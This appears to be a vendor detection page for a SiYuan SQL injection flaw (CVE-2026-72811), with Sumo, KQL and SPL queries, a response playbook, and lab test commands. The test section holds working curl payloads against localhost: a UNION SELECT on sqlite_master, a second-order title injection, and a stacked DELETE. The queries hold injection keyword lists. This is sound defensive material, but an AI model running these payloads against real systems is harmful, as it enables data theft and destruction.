CVE-2026-72811 Sumo Logic CSE · Sumo

Detect SiYuan Backlink/Mention Search SQL Injection (CVE-2026-72811) in Sumo Logic CSE

Detects exploitation of CVE-2026-72811, a critical (CVSS 10.0) SQL injection in the SiYuan note-taking kernel (github.com/siyuan-note/siyuan/kernel) affecting versions before 0.0.0-20260723004839-1a5b3431d5ab. In publish mode, the backlink/mention search feature builds SQL against a read-write SQLite handle using unescaped client keyword input (first-order) and unescaped stored document titles (second-order). An attacker can break out of the SQL string literal to read, modify, or destroy arbitrary data. Exploitation appears as anomalous backlink/mention search HTTP requests (e.g. /api/ref/getBacklink2, /api/search/*) carrying SQL metacharacters, or as errors/anomalous query patterns in kernel logs. A PoC is public via GHSA-q2vg-7qgx-x5fc.

MITRE ATT&CK

Tactic
Collection Impact

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=web/siyuan
| where (uri_path matches "/api/ref/getBacklink*" or uri_path matches "/api/search/searchRefBlock" or uri_path matches "/api/ref/getBackmentionDoc" or uri_path matches "/api/search/fullTextSearchBlock")
| lowercase(concat(uri_query, " ", request_body)) as payload
| where payload matches "*union*select*" or payload matches "*sqlite_master*" or payload matches "*randomblob*" or payload matches "*load_extension*" or payload matches "*' or *" or payload matches "*' and *" or payload matches "*'--*" or payload matches "*attach*database*"
| count by src_ip, uri_path, user_agent
| sort by _count desc
critical severity medium confidence

Sumo Logic query detecting SQL injection payloads in SiYuan backlink/mention search requests.

Data Sources

Web/Proxy access logs

Required Tables

web/siyuan

False Positives & Tuning

  • Authorized security scanning of the SiYuan deployment
  • Searches whose keywords legitimately contain SQL syntax or apostrophes
  • Internal test automation replaying payloads

Other platforms for CVE-2026-72811

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1First-order SQLi via backlink search keyword

    Expected signal: Web/proxy access log entry for /api/search/searchRefBlock with a request body containing UNION SELECT and sqlite_master

  2. Test 2Second-order SQLi via stored document title

    Expected signal: Access log entries for createDoc (storing the payload title) followed by getBackmentionDoc, with SQL metacharacters in the stored title

  3. Test 3Destructive breakout probe via backlink search

    Expected signal: Access log entry for /api/ref/getBacklink2 with a request body containing a semicolon-delimited DELETE statement

Last updated: 2026-09-04 Research depth: standard
References (5)

Response Playbook

Triage

  1. Confirm the SiYuan kernel version on the affected host: check the running binary build stamp against the fixed pseudo-version 0.0.0-20260723004839-1a5b3431d5ab. Anything earlier is vulnerable.
  2. Determine whether the instance runs in publish mode (the vulnerable configuration) and whether the backlink/mention search endpoints are network-reachable by untrusted users.
  3. Extract the full keyword/query parameter and any referenced document titles from the flagged request(s) and decode them to reconstruct the exact SQL breakout attempted (first-order client keyword vs second-order stored title).
  4. Correlate the source IP and user-agent against known-good users and prior request history to gauge whether this is opportunistic scanning or targeted exploitation.

Containment

  1. Restrict or disable public access to the SiYuan publish-mode backlink/mention search endpoints (network ACL or reverse-proxy block) until the kernel is upgraded.
  2. Upgrade the SiYuan kernel to a build at or after 0.0.0-20260723004839-1a5b3431d5ab (commit 1a5b3431d5ab) which parameterizes the search query.
  3. If active data manipulation is suspected, place the SQLite workspace database into read-only mode or take the instance offline pending forensic review.

Evidence Collection

  1. Preserve web/reverse-proxy access logs and SiYuan kernel logs covering the request window, including full URIs and request bodies.
  2. Capture a forensic copy of the SiYuan workspace SQLite database (block/ref tables) to establish whether stored data was read, altered, or destroyed via second-order injection.
  3. Record the SiYuan kernel version, config (publish mode flag), and network exposure at time of the event.

Escalation Criteria

  • !Escalate to incident response if injected SQL indicates data exfiltration (e.g. sqlite_master enumeration, UNION-based reads) or destructive statements (DELETE/DROP/UPDATE) rather than benign probing.
  • !Escalate if the source is external/untrusted and the endpoint was internet-exposed, or if evidence shows the SQLite database contents were modified.

Investigation Guide

Related Techniques

[object Object][object Object]

Forensic Artifacts

  • >Web/reverse-proxy access logs with SiYuan API URIs and request bodies
  • >SiYuan kernel logs (SQL errors, query traces)
  • >SiYuan workspace SQLite database file and its WAL/journal
  • >Document title fields (stored second-order injection payloads)

Tuning Guidance

If your users legitimately search for content containing apostrophes or SQL keywords, tighten the marker set to high-signal SQLite-specific tokens (sqlite_master, randomblob, load_extension, attach database, UNION SELECT) and drop broad ' or / ' and matches. Scope the rule to the specific SiYuan host(s) and to requests from untrusted networks to reduce noise from internal authorized testing. Once all instances are upgraded past 1a5b3431d5ab, downgrade to hunt-only.

Hunting Queries

Hunt for SiYuan search requests attempting SQLite metadata enumeration or UNION-based reads, grouped by source, to find exploitation beyond single alerts.

Hunting — KQL
kql 
W3CIISLog | where csUriStem has "/api/ref/getBacklink" or csUriStem has "/api/search/searchRefBlock" | extend p = tolower(csUriQuery) | where p has "sqlite_master" or p has "union select" or p has "randomblob" | summarize count() by cIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl 
index=web (uri_path="/api/ref/getBacklink*" OR uri_path="/api/search/searchRefBlock") | eval p=lower(uri_query) | search p="*sqlite_master*" OR p="*union select*" OR p="*randomblob*" | stats count by src_ip

Atomic Red Team Tests

Test 1 First-order SQLi via backlink search keyword
linux

Send a crafted keyword to the SiYuan backlink search endpoint that breaks out of the SQL string literal to enumerate SQLite metadata.

Command

bash 
curl -s -X POST 'http://127.0.0.1:6806/api/search/searchRefBlock' -H 'Content-Type: application/json' -d '{"k":"a'"'"' UNION SELECT name,sql FROM sqlite_master-- -"}'

Cleanup

bash 
echo 'No persistent change from a read-only injection; no cleanup required'

Expected Telemetry

Web/proxy access log entry for /api/search/searchRefBlock with a request body containing UNION SELECT and sqlite_master

Expected Detection

SPL/KQL/EQL rules match the SQL injection markers in the search request body/query.

Test 2 Second-order SQLi via stored document title
linux

Create a document whose title contains a SQL breakout payload, then trigger a mention/backlink search that concatenates the stored title into the query.

Command

bash 
curl -s -X POST 'http://127.0.0.1:6806/api/filetree/createDoc' -H 'Content-Type: application/json' -d '{"notebook":"test","path":"/x","title":"z'"'"' UNION SELECT sql,name FROM sqlite_master-- -"}'; curl -s -X POST 'http://127.0.0.1:6806/api/ref/getBackmentionDoc' -H 'Content-Type: application/json' -d '{"defID":"x","keyword":"z"}'

Cleanup

bash 
curl -s -X POST 'http://127.0.0.1:6806/api/filetree/removeDoc' -H 'Content-Type: application/json' -d '{"notebook":"test","path":"/x"}'

Expected Telemetry

Access log entries for createDoc (storing the payload title) followed by getBackmentionDoc, with SQL metacharacters in the stored title

Expected Detection

Detection matches SQL injection markers surfaced when the stored title is reflected into the mention search request/response path.

Test 3 Destructive breakout probe via backlink search
linux

Send a stacked-statement style payload through the backlink search keyword to test write/destructive breakout on the read-write handle (lab only).

Command

bash 
curl -s -X POST 'http://127.0.0.1:6806/api/ref/getBacklink2' -H 'Content-Type: application/json' -d '{"id":"x","k":"a'"'"'; DELETE FROM blocks WHERE '"'"'1'"'"'='"'"'1"}'

Cleanup

bash 
echo 'Run against a disposable lab workspace only; restore the SQLite workspace from backup if the DELETE succeeded'

Expected Telemetry

Access log entry for /api/ref/getBacklink2 with a request body containing a semicolon-delimited DELETE statement

Expected Detection

Detection matches the stacked-statement / SQL metacharacter markers in the request body.

Related Detections

Tactic Hubs

TA0009CollectionTA0040Impact

Related Techniques

T1190Exploit Public-Facing ApplicationT1213Data from Information Repositories

Same Tactic: Collection

Popular Detections